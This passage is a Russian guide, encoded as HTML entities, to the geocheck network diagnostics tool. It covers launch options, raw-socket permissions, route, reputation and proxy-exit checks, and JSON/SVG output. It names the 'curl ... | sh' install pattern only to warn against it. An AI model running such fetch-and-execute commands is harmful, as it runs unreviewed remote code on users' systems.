&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; &#x41F;&#x430;&#x440;&#x430;&#x43C;&#x435;&#x442;&#x440; --network host &#x432; docker-&#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442;&#x435; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x435;&#x43D;, &#x438; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x44D;&#x442;&#x43E; &#x43E;&#x433;&#x43E;&#x432;&#x430;&#x440;&#x438;&#x432;&#x430;&#x435;&#x442; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;. &#x41E;&#x43F;&#x443;&#x441;&#x442;&#x438;&#x442;&#x435; &#x435;&#x433;&#x43E; &#x2014; &#x438; &#x437;&#x430;&#x43C;&#x435;&#x440;&#x44B; &#x43F;&#x43E;&#x439;&#x434;&#x443;&#x442; &#x441;&#x43A;&#x432;&#x43E;&#x437;&#x44C; &#x43C;&#x43E;&#x441;&#x442;&#x43E;&#x432;&#x443;&#x44E; &#x441;&#x435;&#x442;&#x44C; Docker, &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x430;&#x432; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x438; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x43D;&#x43E;&#x433;&#x43E; &#x43E;&#x43A;&#x440;&#x443;&#x436;&#x435;&#x43D;&#x438;&#x44F; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x432;&#x430;&#x448;&#x435;&#x433;&#x43E; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x433;&#x43E; &#x448;&#x43B;&#x44E;&#x437;&#x430;. 
&#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x435; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x435; &#x2014; &#x441;&#x44B;&#x440;&#x44B;&#x435; &#x441;&#x43E;&#x43A;&#x435;&#x442;&#x44B;, &#x431;&#x435;&#x437; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x445; &#x43D;&#x435; &#x43F;&#x43E;&#x441;&#x442;&#x440;&#x43E;&#x438;&#x442;&#x44C; &#x442;&#x440;&#x430;&#x441;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x443; &#x43F;&#x43E; &#x445;&#x43E;&#x43F;&#x430;&#x43C;. &#x422;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x437;&#x430;&#x432;&#x438;&#x441;&#x44F;&#x442; &#x43E;&#x442; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x430; &#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;: 
&#x421;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x427;&#x442;&#x43E; &#x43D;&#x443;&#x436;&#x43D;&#x43E;Docker&#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E;, &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x432;&#x44B;&#x434;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;Podman&#x434;&#x43E;&#x431;&#x430;&#x432;&#x438;&#x442;&#x44C; --cap-add=NET_RAW&#x411;&#x438;&#x43D;&#x430;&#x440;&#x43D;&#x438;&#x43A; &#x43D;&#x430; Linuxsudo setcap cap_net_raw+p ./geocheck&#x411;&#x438;&#x43D;&#x430;&#x440;&#x43D;&#x438;&#x43A; &#x43D;&#x430; macOS&#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x442;&#x44C; &#x447;&#x435;&#x440;&#x435;&#x437; sudo
&#x41E;&#x442;&#x441;&#x443;&#x442;&#x441;&#x442;&#x432;&#x438;&#x435; &#x442;&#x430;&#x43A;&#x43E;&#x439; &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x43D;&#x435; &#x43B;&#x43E;&#x43C;&#x430;&#x435;&#x442; &#x443;&#x442;&#x438;&#x43B;&#x438;&#x442;&#x443;: &#x43F;&#x440;&#x43E;&#x43C;&#x435;&#x436;&#x443;&#x442;&#x43E;&#x447;&#x43D;&#x44B;&#x435; &#x445;&#x43E;&#x43F;&#x44B; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x438;&#x441;&#x447;&#x435;&#x437;&#x430;&#x44E;&#x442; &#x438;&#x437; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x430;, &#x430; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x434;&#x43D;&#x430; &#x43B;&#x438;&#x448;&#x44C; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x430; &#x434;&#x43E; &#x43A;&#x43E;&#x43D;&#x435;&#x447;&#x43D;&#x43E;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438;. 
&#x26D4; &#x422;&#x430;&#x43A; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x41A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x446;&#x438;&#x44F; curl ... | sh &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D;&#x438;&#x435; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x435;&#x433;&#x43E; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x430; &#x43E;&#x442; &#x438;&#x43C;&#x435;&#x43D;&#x438; &#x432;&#x430;&#x448;&#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44F; &#x2014; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x442;&#x443;&#x442; &#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E; &#x43D;&#x435; &#x433;&#x430;&#x440;&#x430;&#x43D;&#x442;&#x438;&#x440;&#x443;&#x435;&#x442;. &#x414;&#x430;, &#x43B;&#x430;&#x443;&#x43D;&#x447;&#x435;&#x440; &#x442;&#x44F;&#x43D;&#x435;&#x442; &#x431;&#x438;&#x43D;&#x430;&#x440;&#x43D;&#x438;&#x43A; &#x438;&#x437; GitHub Releases &#x438; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x44F;&#x435;&#x442; &#x43A;&#x43E;&#x43D;&#x442;&#x440;&#x43E;&#x43B;&#x44C;&#x43D;&#x443;&#x44E; &#x441;&#x443;&#x43C;&#x43C;&#x443;, &#x43D;&#x43E; &#x434;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x435; &#x43A;&#x43E; &#x432;&#x441;&#x435;&#x439; &#x446;&#x435;&#x43F;&#x43E;&#x447;&#x43A;&#x435; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x432;&#x430;&#x441;. &#x414;&#x43B;&#x44F; &#x431;&#x43E;&#x435;&#x432;&#x43E;&#x433;&#x43E; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x435;&#x435; &#x441;&#x43E;&#x445;&#x440;&#x430;&#x43D;&#x438;&#x442;&#x44C; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442; &#x438; &#x43F;&#x440;&#x43E;&#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x435;&#x433;&#x43E; (curl -fsSL https://geocheck.ing -o gc.sh), &#x430; &#x43D;&#x430;&#x434;&#x451;&#x436;&#x43D;&#x435;&#x435; &#x2014; &#x432;&#x43E;&#x432;&#x441;&#x435; &#x43E;&#x431;&#x43E;&#x439;&#x442;&#x438;&#x441;&#x44C; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x43E;&#x43C; &#x438;&#x43B;&#x438; go install. 
&#x418;&#x437; &#x447;&#x435;&#x433;&#x43E; &#x441;&#x43E;&#x441;&#x442;&#x43E;&#x438;&#x442; &#x43E;&#x442;&#x447;&#x451;&#x442;
&#x421;&#x43E;&#x441;&#x442;&#x430;&#x432; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43E;&#x43A; &#x2014; &#x43F;&#x43E; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x44E; &#x432; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x438; remnawave/geocheck
&#x423; &#x43A;&#x430;&#x436;&#x434;&#x43E;&#x433;&#x43E; &#x431;&#x43B;&#x43E;&#x43A;&#x430; &#x441;&#x432;&#x43E;&#x439; &#x432;&#x44B;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x442;&#x435;&#x43B;&#x44C;, &#x438; &#x44D;&#x442;&#x43E; &#x43D;&#x435; &#x434;&#x435;&#x43A;&#x43E;&#x440;&#x430;&#x446;&#x438;&#x44F;. &#x41F;&#x43E;&#x43B;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x43E;&#x433;&#x43E;&#x43D; &#x434;&#x451;&#x440;&#x433;&#x430;&#x435;&#x442; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43A;&#x43E;&#x432; &#x432;&#x43D;&#x435;&#x448;&#x43D;&#x438;&#x445; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x43E;&#x432;; &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x43D;&#x443;&#x436;&#x435;&#x43D; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43C;&#x430;&#x440;&#x448;&#x440;&#x443;&#x442;, &#x441;&#x432;&#x44F;&#x437;&#x43A;&#x430; --no-geo --no-access --no-reputation &#x441;&#x43E;&#x43A;&#x440;&#x430;&#x449;&#x430;&#x435;&#x442; &#x432;&#x440;&#x435;&#x43C;&#x44F; &#x432; &#x440;&#x430;&#x437;&#x44B;. 
&#x41F;&#x440;&#x43E; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x44E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x441;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x44C; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;: &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x43E;&#x442; proxycheck.io, &#x430; &#x43A;&#x43B;&#x44E;&#x447; &#x437;&#x430;&#x434;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x447;&#x435;&#x440;&#x435;&#x437; --proxycheck-key &#x43B;&#x438;&#x431;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x443;&#x44E; PROXYCHECK_API_KEY. &#x411;&#x43B;&#x43E;&#x43A; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442; &#x438; &#x431;&#x435;&#x437; &#x43A;&#x43B;&#x44E;&#x447;&#x430; &#x2014; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x443;&#x43F;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x435; &#x43B;&#x438;&#x43C;&#x438;&#x442;&#x44B; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x430;. 
&#x41A;&#x43B;&#x44E;&#x447;&#x435;&#x432;&#x43E;&#x439; &#x431;&#x43B;&#x43E;&#x43A; &#x2014; &#x43F;&#x440;&#x44F;&#x43C;&#x43E;&#x442;&#x430; &#x43C;&#x430;&#x440;&#x448;&#x440;&#x443;&#x442;&#x430;
&#x418;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x440;&#x430;&#x434;&#x438; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x443;&#x442;&#x438;&#x43B;&#x438;&#x442;&#x443; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x434;&#x435;&#x440;&#x436;&#x430;&#x442;&#x44C; &#x43F;&#x43E;&#x434; &#x440;&#x443;&#x43A;&#x43E;&#x439;. &#x414;&#x43E; &#x43A;&#x430;&#x436;&#x434;&#x43E;&#x439; &#x446;&#x435;&#x43B;&#x438; &#x441;&#x442;&#x440;&#x43E;&#x438;&#x442;&#x441;&#x44F; &#x442;&#x440;&#x430;&#x441;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430;, &#x445;&#x43E;&#x43F;&#x44B; &#x43F;&#x43E;&#x434;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43D;&#x43E;&#x43C;&#x435;&#x440;&#x430;&#x43C;&#x438; &#x430;&#x432;&#x442;&#x43E;&#x43D;&#x43E;&#x43C;&#x43D;&#x44B;&#x445; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;, &#x430; &#x438;&#x442;&#x43E;&#x433;&#x43E;&#x43C; &#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x432;&#x435;&#x440;&#x434;&#x438;&#x43A;&#x442; &#x43E; &#x442;&#x43E;&#x43C;, &#x43D;&#x430;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x440;&#x44F;&#x43C;&#x44B;&#x43C; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x438;&#x43B;&#x441;&#x44F; &#x43F;&#x443;&#x442;&#x44C;. 
&#x418;&#x442;&#x43E;&#x433; &#x442;&#x440;&#x430;&#x441;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x438; &#x43A; &#x43A;&#x430;&#x436;&#x434;&#x43E;&#x439; &#x446;&#x435;&#x43B;&#x438; &#x2014; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x438; &#x438;&#x437; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438; geocheck
&#x41D;&#x430;&#x431;&#x43E;&#x440; &#x446;&#x435;&#x43B;&#x435;&#x439; &#x432;&#x44B;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x444;&#x43B;&#x430;&#x433;&#x43E;&#x43C; -T. &#x414;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x44B; &#x442;&#x435;&#x433;&#x438; default, web, video, dns, cdn, social, messaging, cloud, ai, dev, gaming, google, telegram, all, &#x430; &#x442;&#x430;&#x43A;&#x436;&#x435; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x44B;&#x445; &#x438;&#x434;&#x435;&#x43D;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x442;&#x43E;&#x440;&#x43E;&#x432; &#x447;&#x435;&#x440;&#x435;&#x437; &#x437;&#x430;&#x43F;&#x44F;&#x442;&#x443;&#x44E;. &#x420;&#x430;&#x437;&#x432;&#x451;&#x440;&#x43D;&#x443;&#x442;&#x430;&#x44F; &#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x430; &#x43F;&#x43E; &#x445;&#x43E;&#x43F;&#x430;&#x43C; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x444;&#x43B;&#x430;&#x433;&#x43E;&#x43C; -d. 
&#x2757; &#x413;&#x43B;&#x430;&#x432;&#x43D;&#x43E;&#x435; &#x422;&#x43E;&#x43B;&#x43A; &#x43E;&#x442; &#x432;&#x435;&#x440;&#x434;&#x438;&#x43A;&#x442;&#x43E;&#x432; &#x442;&#x430;&#x43A;&#x43E;&#x439;. &#x423;&#x432;&#x438;&#x434;&#x435;&#x43B;&#x438; transit &#x43D;&#x430; &#x434;&#x435;&#x448;&#x451;&#x432;&#x43E;&#x43C; VPS &#x2014; &#x44D;&#x442;&#x43E; &#x448;&#x442;&#x430;&#x442;&#x43D;&#x430;&#x44F; &#x43A;&#x430;&#x440;&#x442;&#x438;&#x43D;&#x430;, &#x43F;&#x43E;&#x432;&#x43E;&#x434;&#x430; &#x432;&#x43E;&#x43B;&#x43D;&#x43E;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43D;&#x435;&#x442;. &#x410; &#x432;&#x43E;&#x442; detour &#x442;&#x430;&#x43C;, &#x433;&#x434;&#x435; &#x43C;&#x430;&#x440;&#x448;&#x440;&#x443;&#x442; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D; &#x431;&#x44B;&#x442;&#x44C; &#x43A;&#x43E;&#x440;&#x43E;&#x442;&#x43A;&#x438;&#x43C;, &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x43D;&#x430;&#x432;&#x435;&#x440;&#x43D;&#x44F;&#x43A;&#x430; &#x432;&#x44B;&#x434;&#x430;&#x451;&#x442; &#x43B;&#x438;&#x448;&#x43D;&#x435;&#x435; &#x43F;&#x43B;&#x435;&#x447;&#x43E;: &#x432;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x434;&#x440;&#x443;&#x433; &#x432; &#x434;&#x440;&#x443;&#x433;&#x430; &#x442;&#x443;&#x43D;&#x43D;&#x435;&#x43B;&#x438;, &#x43A;&#x43E;&#x441;&#x43E;&#x439; &#x440;&#x43E;&#x443;&#x442; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x439;&#x434;&#x435;&#x440;&#x430; &#x438;&#x43B;&#x438; &#x442;&#x43E;&#x447;&#x43A;&#x443; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430; &#x43D;&#x435; &#x432; &#x442;&#x43E;&#x43C; &#x43C;&#x435;&#x441;&#x442;&#x435;, &#x433;&#x434;&#x435; &#x432;&#x44B; &#x435;&#x451; &#x43F;&#x440;&#x435;&#x434;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x43B;&#x438;. &#x421;&#x43E;&#x432;&#x441;&#x435;&#x43C; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x439; &#x440;&#x430;&#x437;&#x433;&#x43E;&#x432;&#x43E;&#x440; &#x2014; intercepted: &#x43E;&#x43D; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x44F;&#x449;&#x435;&#x439; &#x446;&#x435;&#x43B;&#x438; &#x432;&#x44B; &#x43D;&#x435; &#x434;&#x43E;&#x441;&#x442;&#x438;&#x433;&#x43B;&#x438;, &#x430; &#x43E;&#x442;&#x432;&#x435;&#x442;&#x438;&#x43B; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x43D;&#x435;&#x451; &#x43F;&#x43E;&#x441;&#x440;&#x435;&#x434;&#x43D;&#x438;&#x43A;. 
&#x427;&#x442;&#x43E; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x435;&#x441;&#x442;&#x44C; &#x434;&#x43B;&#x44F; &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x430; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438;
&#x423;&#x442;&#x438;&#x43B;&#x438;&#x442;&#x430; &#x43D;&#x435; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D;&#x430; &#x43C;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x442;&#x43E;&#x442; &#x430;&#x434;&#x440;&#x435;&#x441;, &#x441; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x437;&#x430;&#x43F;&#x443;&#x449;&#x435;&#x43D;&#x430;, &#x2014; &#x438; &#x432;&#x43E;&#x442; &#x442;&#x443;&#x442; &#x43D;&#x430;&#x447;&#x438;&#x43D;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x435;&#x441;&#x43D;&#x43E;&#x435;. 
# &#x43F;&#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C;, &#x43A;&#x430;&#x43A; &#x432;&#x44B;&#x433;&#x43B;&#x44F;&#x434;&#x438;&#x442; &#x432;&#x44B;&#x445;&#x43E;&#x434; &#x447;&#x435;&#x440;&#x435;&#x437; &#x432;&#x430;&#x448; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; SOCKS5
geocheck -p 127.0.0.1:10808

# &#x442;&#x43E; &#x436;&#x435; &#x441;&#x430;&#x43C;&#x43E;&#x435;, &#x43D;&#x43E; &#x43F;&#x440;&#x438;&#x432;&#x44F;&#x437;&#x430;&#x432;&#x448;&#x438;&#x441;&#x44C; &#x43A; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E;&#x43C;&#x443; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x444;&#x435;&#x439;&#x441;&#x443; &#x438;&#x43B;&#x438; &#x430;&#x434;&#x440;&#x435;&#x441;&#x443;
geocheck -i wg0
geocheck -i 203.0.113.10

# &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; IPv4 &#x438;&#x43B;&#x438; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; IPv6 &#x2014; &#x43F;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x43E;, &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x439;&#x434;&#x435;&#x440; &#x43E;&#x442;&#x434;&#x430;&#x451;&#x442; &#x43E;&#x431;&#x430;
geocheck -4
geocheck -6
&#x427;&#x435;&#x440;&#x435;&#x437; -p HOST:PORT &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x442;&#x430; &#x442;&#x43E;&#x447;&#x43A;&#x430; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x443;&#x44E; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x44E;&#x442; &#x432;&#x430;&#x448;&#x438; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x438;: &#x43F;&#x43E;&#x434;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;&#x435; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442; Xray &#x438;&#x43B;&#x438; sing-box, &#x43D;&#x430;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442;&#x435; &#x443;&#x442;&#x438;&#x43B;&#x438;&#x442;&#x443; &#x432; &#x435;&#x433;&#x43E; SOCKS5-&#x43F;&#x43E;&#x440;&#x442; &#x2014; &#x438; &#x43E;&#x442;&#x447;&#x451;&#x442; &#x441;&#x442;&#x440;&#x43E;&#x438;&#x442;&#x441;&#x44F; &#x441; &#x43F;&#x43E;&#x437;&#x438;&#x446;&#x438;&#x438; &#x442;&#x43E;&#x433;&#x43E;, &#x43A;&#x442;&#x43E; &#x445;&#x43E;&#x434;&#x438;&#x442; &#x447;&#x435;&#x440;&#x435;&#x437; &#x432;&#x430;&#x441;. &#x41F;&#x43E; &#x447;&#x435;&#x441;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x44D;&#x442;&#x43E; &#x43D;&#x435;&#x441;&#x43E;&#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x43C;&#x43E; &#x441; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x43D;&#x438;&#x435;&#x43C; &#x43E;&#x447;&#x435;&#x440;&#x435;&#x434;&#x43D;&#x43E;&#x439; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x44B; &#xAB;what is my IP&#xBB; &#x432; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x435;. 
&#x420;&#x435;&#x437;&#x43E;&#x43B;&#x432;&#x435;&#x440; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x430;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x444;&#x43B;&#x430;&#x433;&#x43E;&#x43C; --doh MODE: &#x43F;&#x440;&#x438;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x442;&#x441;&#x44F; auto (&#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E;), off &#x43B;&#x438;&#x431;&#x43E; &#x43F;&#x440;&#x44F;&#x43C;&#x43E;&#x439; &#x430;&#x434;&#x440;&#x435;&#x441; &#x432;&#x438;&#x434;&#x430; https://. 
JSON &#x434;&#x43B;&#x44F; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x43E;&#x432; &#x438; SVG &#x434;&#x43B;&#x44F; &#x447;&#x430;&#x442;&#x430;
&#x421;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x430;&#x43C; &#x43F;&#x440;&#x435;&#x434;&#x43D;&#x430;&#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D; -j / --json. &#x412;&#x435;&#x440;&#x445;&#x43D;&#x438;&#x439; &#x443;&#x440;&#x43E;&#x432;&#x435;&#x43D;&#x44C; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430; &#x441;&#x43E;&#x434;&#x435;&#x440;&#x436;&#x438;&#x442; &#x43A;&#x43B;&#x44E;&#x447;&#x438; schema, tool, timestamp, duration_ms, identity, transport, findings, reputation, consensus, geo, connectivity_checks, connectivity, stash_checks. &#x41F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x44B; &#x438;&#x437; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438;: 
# &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x446;&#x435;&#x43B;&#x438;, &#x434;&#x43E; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x445; &#x43C;&#x430;&#x440;&#x448;&#x440;&#x443;&#x442; &#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43B;&#x441;&#x44F; &#x43D;&#x435;&#x43F;&#x440;&#x44F;&#x43C;&#x44B;&#x43C;
geocheck --json | jq '.connectivity.targets[] | select(.verdict != "direct") | {name, verdict, rtt_ms}'

# &#x43A;&#x43E;&#x440;&#x43E;&#x442;&#x43A;&#x430;&#x44F; &#x441;&#x432;&#x43E;&#x434;&#x43A;&#x430; &#x43F;&#x43E; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x438; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430;
geocheck --json | jq '.reputation | {type, risk, flags}'
&#x41A;&#x430;&#x440;&#x442;&#x438;&#x43D;&#x43A;&#x443; &#x442;&#x43E;&#x436;&#x435; &#x43E;&#x442;&#x434;&#x430;&#x44E;&#x442;: --svg FILE &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x441;&#x430;&#x43C;&#x43E;&#x434;&#x43E;&#x441;&#x442;&#x430;&#x442;&#x43E;&#x447;&#x43D;&#x44B;&#x439; SVG, &#x430; --svg-base64 &#x438; --svg-data-uri &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x44F;&#x442; &#x435;&#x433;&#x43E; &#x432; stdout &#x2014; &#x443;&#x434;&#x43E;&#x431;&#x43D;&#x43E;, &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x43E;&#x442;&#x447;&#x451;&#x442; &#x43D;&#x430;&#x434;&#x43E; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x43F;&#x440;&#x438;&#x43B;&#x43E;&#x436;&#x438;&#x442;&#x44C; &#x43A; &#x442;&#x438;&#x43A;&#x435;&#x442;&#x443; 